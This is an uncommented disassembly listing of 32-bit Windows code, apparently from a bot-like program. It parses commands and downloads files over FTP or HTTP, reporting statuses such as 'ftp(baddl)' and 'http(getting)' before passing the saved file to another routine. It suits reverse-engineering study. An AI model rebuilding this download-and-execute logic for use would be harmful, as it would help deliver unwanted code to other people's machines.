mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 6
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C84 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 7
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 8
jz short loc_41C7CC
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41C7CE
; ---------------------------------------------------------------------------
loc_41C7CC: ; CODE XREF: sub_41C610+1AFj
xor edi, edi
loc_41C7CE: ; CODE XREF: sub_41C610+1BAj
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013D4
loc_41C83C: ; CODE XREF: sub_41C610+C0j
lea ecx, [ebp+60h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41C9BB
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 9
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C84 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Ah
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Bh
jz short loc_41C94B
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41C94D
; ---------------------------------------------------------------------------
loc_41C94B: ; CODE XREF: sub_41C610+32Ej
xor edi, edi
loc_41C94D: ; CODE XREF: sub_41C610+339j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FBE
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013D4
loc_41C9BB: ; CODE XREF: sub_41C610+23Fj
lea ecx, [ebp+32h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CBF6
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 0Ch
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C84 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Dh
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 3
push eax
mov ecx, esi
call sub_4016AE
push offset word_44758A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 0Eh
call sub_401B72
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41CB5E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D212
; ---------------------------------------------------------------------------
loc_41CB5E: ; CODE XREF: sub_41C610+4D6j
push 94h
call sub_4367FA
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Fh
jz short loc_41CB86
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CB88
; ---------------------------------------------------------------------------
loc_41CB86: ; CODE XREF: sub_41C610+569j
xor edi, edi
loc_41CB88: ; CODE XREF: sub_41C610+574j
lea ecx, [esp+124h+var_10C]
mov byte ptr [esp+124h+var_4], bl
push ecx
lea ecx, [edi+11h]
call sub_401FBE
lea edx, [esp+124h+var_DC]
lea ecx, [edi+26h]
push edx
call sub_401FBE
lea eax, [esp+124h+var_C4]
lea ecx, [edi+65h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 0
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CBF6: ; CODE XREF: sub_41C610+3BEj
lea ecx, [ebp+0BCh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CD9B
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 10h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 11h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 12h
jz short loc_41CD0E
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CD10
; ---------------------------------------------------------------------------
loc_41CD0E: ; CODE XREF: sub_41C610+6F1j
xor edi, edi
loc_41CD10: ; CODE XREF: sub_41C610+6FCj
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FBE
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FBE
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CD9B: ; CODE XREF: sub_41C610+5FCj
lea ecx, [ebp+118h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CF40
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 13h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 14h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 15h
jz short loc_41CEB3
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41CEB5
; ---------------------------------------------------------------------------
loc_41CEB3: ; CODE XREF: sub_41C610+896j
xor edi, edi
loc_41CEB5: ; CODE XREF: sub_41C610+8A1j
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FBE
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FBE
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FBE
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FBE
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013D4
loc_41CF40: ; CODE XREF: sub_41C610+7A1j
lea ecx, [ebp+0EAh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D1A1
push offset asc_443600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 16h
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FBE
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 17h
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+128h+var_F4]
push 3
push edx
mov ecx, esi
call sub_4016AE
push offset word_44758A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 18h
call sub_401B72
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41D0EC
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D212
; ---------------------------------------------------------------------------
loc_41D0EC: ; CODE XREF: sub_41C610+A64j
push 94h
call sub_4367FA
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 19h
jz short loc_41D114
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D114: ; CODE XREF: sub_41C610+AF7j
xor edi, edi
loc_41D116: ; CODE XREF: sub_41C610+B02j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FBE
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FBE
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FBE
lea eax, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push eax
call sub_401FBE
lea ecx, [esp+124h+var_94]
push ecx
lea ecx, [edi+50h]
call sub_401FBE
lea edx, [esi+69h]
lea ecx, [edi+7Ah]
push edx
call sub_401FBE
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 1
mov al, [esi+93h]
mov [edi+92h], al
mov cl, [esi+94h]
mov [edi+93h], cl
mov ecx, edi
call sub_4013D4
loc_41D1A1: ; CODE XREF: sub_41C610+116j
; sub_41C610+295j ...
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014B0
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_41D212: ; CODE XREF: sub_41C610+549j
; sub_41C610+AD7j
mov ecx, [esp+124h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 114h
retn 4
sub_41C610 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 310h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D540 proc near ; CODE XREF: sub_401B36j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D540
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D540 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D5D0 proc near ; CODE XREF: sub_4014B0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D5D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+58h]
mov [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D5D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_4021C6j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D670
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+7Ah]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0D0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41D730: ; CODE XREF: ___:00401168j
; ___:loc_4019E7j
push esi
mov esi, ecx
call sub_4015C3
test byte ptr [esp+8], 1
jz short loc_41D748
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41D748: ; CODE XREF: ___:0041D73Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D760 proc near ; CODE XREF: sub_4015C3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D760
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E0D0
lea ecx, [esi+7Ah]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D760 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D830 proc near ; CODE XREF: sub_401C80j
var_48 = dword ptr -48h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_44 = byte ptr 48h
arg_10C = byte ptr 110h
arg_11C = byte ptr 120h
arg_12C = byte ptr 130h
arg_110C = dword ptr 1110h
arg_1110 = byte ptr 1114h
arg_1134 = dword ptr 1138h
arg_1144 = byte ptr 1148h
arg_1148 = dword ptr 114Ch
arg_1150 = dword ptr 1154h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43B0F2
push eax
mov eax, 1158h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
push offset byte_446F60
lea edi, [esi+11h]
mov ecx, edi
call sub_4012EE
test eax, eax
jz loc_41DF38
lea ebx, [esi+65h]
push offset byte_446F60
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_41DF38
lea ecx, [esi+26h]
push offset byte_446F60
call sub_4012EE
test eax, eax
jz loc_41DF38
mov al, [esi+91h]
test al, al
jz short loc_41D8D1
push offset byte_446F60
lea ecx, [esi+3Bh]
call sub_4012EE
test eax, eax
jz short loc_41D8C4
push offset byte_446F60
lea ecx, [esi+50h]
call sub_4012EE
test eax, eax
jnz short loc_41D8D1
loc_41D8C4: ; CODE XREF: sub_41D830+81j
mov [esp+1Ch+var_8], esi
lea eax, [esp+1Ch+var_8]
jmp loc_41DF40
; ---------------------------------------------------------------------------
loc_41D8D1: ; CODE XREF: sub_41D830+70j
; sub_41D830+92j
push offset asc_443C84 ; ":"
lea ecx, [esp+20h]
push 1
push ecx
mov ecx, edi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+20h+arg_1150], 0
call sub_4012EE
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz short loc_41D95E
push offset asc_443C84 ; ":"
lea edx, [esp+20h]
push 1
push edx
mov ecx, edi
call sub_4016AE
mov ecx, eax
mov [esp+1Ch+arg_1150], 1
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jnz short loc_41D96F
loc_41D95E: ; CODE XREF: sub_41D830+E3j
mov al, [esi+91h]
neg al
sbb eax, eax
and al, 0C5h
add eax, 50h
mov ebp, eax
loc_41D96F: ; CODE XREF: sub_41D830+12Cj
push offset asc_443C84 ; ":"
lea ecx, [esp+20h+arg_14]
push 0
push ecx
mov ecx, edi
call sub_4016AE
lea edx, [esp+1Ch+arg_14]
mov ecx, edi
push edx
mov [esp+20h+arg_1150], 2
call sub_401FBE
lea eax, [esp+1Ch+arg_44]
push 104h
push eax
mov ecx, ebx
call sub_4017E4
push eax
call near ptr 2810000h
nop
lea ecx, [esp+28h+arg_38]
push ecx
mov ecx, ebx
call sub_4015D7
mov al, [esi+91h]
test al, al
jz loc_41DB04
call sub_401E06
; ---------------------------------------------------------------------------
lea edx, [esp+28h+var_14]
mov ecx, edi
push edx
call sub_4017E4
push eax
call sub_401A69
add esp, 8
test eax, eax
jnz short loc_41DA1C
lea ecx, [esi+7Ah]
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aFtpBadconnect ; "ftp(badconnect)"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
mov [esp+28h+var_18], esi
lea edx, [esp+28h+var_18]
jmp loc_41DF17
; ---------------------------------------------------------------------------
loc_41DA1C: ; CODE XREF: sub_41D830+1B7j
mov eax, [esp+28h+var_14]
lea ecx, [esi+50h]
push eax
call sub_4017E4
push eax
lea ecx, [esi+3Bh]
call sub_4017E4
push eax
call sub_402243
add esp, 0Ch
test eax, eax
jnz short loc_41DA73
lea ecx, [esi+7Ah]
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBadlogin ; "ftp(badlogin)"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF18
; ---------------------------------------------------------------------------
loc_41DA73: ; CODE XREF: sub_41D830+20Dj
lea edi, [esi+7Ah]
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpGetting ; "ftp(getting)"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
mov eax, [esp+28h+var_14]
lea ecx, [esi+26h]
push eax
push 49h
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
call sub_4016A9
add esp, 10h
test eax, eax
jnz short loc_41DAF2
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBaddl ; "ftp(baddl)"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41DF18
; ---------------------------------------------------------------------------
loc_41DAF2: ; CODE XREF: sub_41D830+28Dj
mov ecx, [esp+28h+var_14]
push ecx
call sub_401D52
add esp, 4
jmp loc_41DD7B
; ---------------------------------------------------------------------------
loc_41DB04: ; CODE XREF: sub_41D830+195j
lea ecx, [esp+28h+arg_20]
call sub_401424
lea ecx, [esp+28h+var_C]
mov [esp+28h+arg_1144], 3
call sub_401424
push ebp
mov ecx, edi
mov [esp+2Ch+arg_1144], 4
call sub_4017E4
push eax
call sub_401A8C
mov ebx, eax
add esp, 8
cmp ebx, 0FFFFFFFFh
mov [esp+28h+var_14], ebx
jnz short loc_41DB87
lea ecx, [esi+7Ah]
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadconnect ; "http(badconnect)"
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push ecx
mov ecx, offset byte_4E6ECB
call sub_40120D
push ebx
nop
call near ptr 71AB9639h
jmp loc_41DC45
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41D830+310j
push ebp
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [esi+26h]
call sub_4017E4
push eax
lea edx, [esp+34h+arg_20]
push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+28h+arg_20]
push 0
call sub_4013D9
push eax
lea ecx, [esp+30h+arg_20]
call sub_4017E4
push eax
push ebx
nop
call near ptr 71AB428Ah
lea edi, [esi+7Ah]
mov ecx, edi
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aHttpGetting ; "http(getting)"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
